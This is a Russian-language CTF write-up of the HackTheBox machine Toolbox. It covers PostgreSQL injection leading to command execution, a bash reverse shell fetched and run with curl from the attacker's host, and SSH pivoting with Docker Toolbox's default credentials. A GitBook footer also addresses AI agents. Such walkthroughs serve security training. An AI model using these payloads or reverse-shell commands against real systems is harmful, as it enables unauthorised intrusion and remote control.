> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md).

# Разбор Toolbox на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/339>" %}

{% hint style="warning" %}
**Навыки:**

* Инъекция в PostgreSQL (RCE)
* Пивотинг
* Эксплуатация boot2docker (Docker-Toolbox)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/f2285f631d9c66fffbdce9509ba56ccfff5b87ae" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/29ebae71699cf4285872e48936b907ced7b477a7" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.236 -oG allPorts
```

<figure><img src="/files/7e67def2e8794e7bb424fa3f0cb540c0df1f6dca" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Использование функции extractPorts для краткого отображения открытых портов и копирования их в буфер обмена.

<figure><img src="/files/dad35c1a33804ee1ffbf9a7dff15f0e0079546d5" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p21,22,135,139,443,445,5985,47001,49664,49665,49666,49667,49668,49669 10.10.10.236 -oN targeted
```

<figure><img src="/files/5dedfb7f2eb471b495dfd42efb0ce7f463a3b18b" alt=""><figcaption></figcaption></figure>

Чтобы разрешить доменные имена в IP-адреса через DNS, доменное имя, связанное с его IP-адресом, вставляется в `/etc/hosts` файл

<figure><img src="/files/186ba6898c22becd37c8ef3be1b253c2fba110cf" alt="" width="563"><figcaption></figcaption></figure>

### **Порт 21 (FTP)**

FTP-порт доступен для пользователя `anonymous`. Есть файл с именем `docker-toolbox.exe`. Этот файл может подсказать возможный способ работы Docker.

{% hint style="info" %}
Docker-Toolbox — это набор инструментов, используемых для управления контейнерами Docker в старых средах или средах без Docker Desktop.
{% endhint %}

<figure><img src="/files/06631edf530a9d4798e3c73a5b62e20c6a0a02f7" alt="" width="563"><figcaption></figcaption></figure>

### **Порт 443 (HTTPS)**

<figure><img src="/files/7d40fd26470a06aa40c5e55abe7fce7e14845b96" alt=""><figcaption></figcaption></figure>

**Возможные пользователи:**

* Christine Rooster
* Brandon Sharp
* Connor Hodson

<figure><img src="/files/325b4e259a8f0d302f9e3a61d01c1e96fd691b22" alt=""><figcaption></figcaption></figure>

После исследования размещённый сайт предлагает админ-панель, доступную через `admin.megalogistic.com`.

<figure><img src="/files/875cebc33c0c4eac2bf45de323b964b5ceafdb84" alt=""><figcaption></figcaption></figure>

## Уязвимость PostgreSQL Injection:

{% hint style="info" %}
PostgreSQL — мощная СУБД с открытым исходным кодом, способная безопасно обрабатывать самые сложные нагрузки данных.
{% endhint %}

При отправке этих учетных данных:

```sql
имя пользователя: '
пароль: '
```

Появляется ошибка SQL, указывающая на бэкенд PostgreSQL, использующий `pg_query`.

<figure><img src="/files/cfbdd6d4a3724a4e8f38cce7904a57741d20f826" alt=""><figcaption></figcaption></figure>

### **Эксплуатация**

Проверим классический payload для инъекции:

```vbnet
имя пользователя: ' OR 1=1-- -  
пароль: что угодно
```

Мы получаем доступ к админ-панели Dashboard.

<figure><img src="/files/028f7658621d329c3875d87ad311cc811a88d4a9" alt="" width="563"><figcaption></figcaption></figure>

Перехватывайте запросы с помощью **Burp Suite** и используйте ресурсы вроде **HackTricks** для настройки инъекций.

<figure><img src="/files/9351e68bd4f3b3212ace394d7f87839329b7740e" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection>" %}

#### Чтобы проверить, позволяет ли инъекция выполнять команды, используйте:

`;select pg_sleep(10);-- -`

Если ответ задерживается на 10 секунд, инъекция работает.

<figure><img src="/files/00905435b32db7d389d2e00012d96541b013055c" alt=""><figcaption></figcaption></figure>

### **Выполнение команд**

Вот пример того, как получить онлайн-заказ:

```sql
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
```

Создайте `index.html` файл, содержащий:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1
```

Запустите HTTP-сервер:

```bash
python3 -m http.server 80
```

Настройте прослушиватель:

```bash
nc -nvlp 443
```

Отправьте payload:

```sql
username=';DROP TABLE IF EXISTS cmd_exec;-- -&password=d
username=';CREATE TABLE cmd_exec(cmd_output text);-- -&password=d
username=';COPY cmd_exec FROM PROGRAM 'curl http://10.10.14.3/ | bash';-- -&password=d
```

<figure><img src="/files/35a79f7994d80eff3e83f69094b4fb4fd26ab472" alt=""><figcaption></figcaption></figure>

#### **Стабилизация терминала**

Чтобы сделать оболочку интерактивной и удобной:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### Стабилизируйте оболочку для более удобной работы. <a href="#stabilize-the-shell" id="stabilize-the-shell"></a>

## Повышение привилегий:

### Пивотинг через Docker

{% hint style="info" %}
На этапе разведки мы установили, что наша машина Windows не была доступна напрямую. Однако нам удалось подключиться к машине Windows, находящейся в контейнере Docker, с IP-адресом `172.17.0.2` и `172.17.0.1` шлюза. Теперь мы попробуем выполнить переход через этот контейнер, чтобы повысить свои привилегии.
{% endhint %}

<figure><img src="/files/52866dbc39c9e5edee2ed2c4f12b50e5679b9583" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/26c081adc971ec5f1c3199d0ba4edad57fd42e0c" alt=""><figcaption></figcaption></figure>

### **Проверка порта SSH**

Сначала нам нужно проверить, открыт ли порт SSH (22) на шлюзе Docker (172.17.0.1). Для этого мы используем простую команду:

```bash
echo ' ' > /dev/tcp/172.17.0.1/22 && echo "[+] SSH Open" || echo "[-] SSH Closed"
```

Порт 22 открыт, что означает, что мы можем попробовать подключиться по SSH к машине в контейнере.

<figure><img src="/files/1ea4cc2ec60b77a7a8b873216cd10f477ae2a4b2" alt=""><figcaption></figcaption></figure>

#### **Войти с учетными данными Docker Toolbox по умолчанию**

Идентификаторы по умолчанию для Docker Toolbox:

* **Пользователь**: `docker`
* **Пароль**: `tcuser`

Теперь мы пытаемся подключиться к контейнеру по SSH, используя эту информацию. После подключения к машине мы замечаем, что у нас есть доступ к корню контейнера с пользователем `docker`.

<figure><img src="/files/d6bd641166d4b0d0e5625a11646a70e72b90e259" alt=""><figcaption></figcaption></figure>

#### **Исследование файловой системы**

В корневом каталоге мы находим папку под названием **c**, которая содержит подпапку **users**. Внутри **users** есть **Desktop** папка, принадлежащая пользователю **Administrator**. Это может означать, что пользователь `docker` имеет достаточные привилегии для доступа к конфиденциальным данным пользователя **Administrator**, что является хорошим следом для повышения привилегий.

<figure><img src="/files/cce539aeee704a52a89f8310a353d18cae9e8787" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

#### **Поиск `user.txt` (флаг пользователя)**

Теперь мы будем искать `user.txt` файл, который часто используется для обозначения успешного доступа пользователя к машине. Давайте используем следующую команду, чтобы найти этот файл во всей файловой системе:

```bash
find / -name user.txt 2>/dev/null
```

<figure><img src="/files/91fff89a37aafc556c0307cd2a7493ed1e1352ea" alt=""><figcaption></figcaption></figure>

Мы находим **user.txt** файл в доступном каталоге, что дает нам первый признак успеха в нашей операции.

### Флаг root.txt :)

После нахождения флага пользователя мы ищем **root.txt** файл, который обычно находится в каталоге пользователя **Administrator**.

<figure><img src="/files/16034d0e9864ed518e7a7ea5b00a031e59570b19" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/71844ae1c8a054b4fa0a8b7a206667814171565b" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/toolbox-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
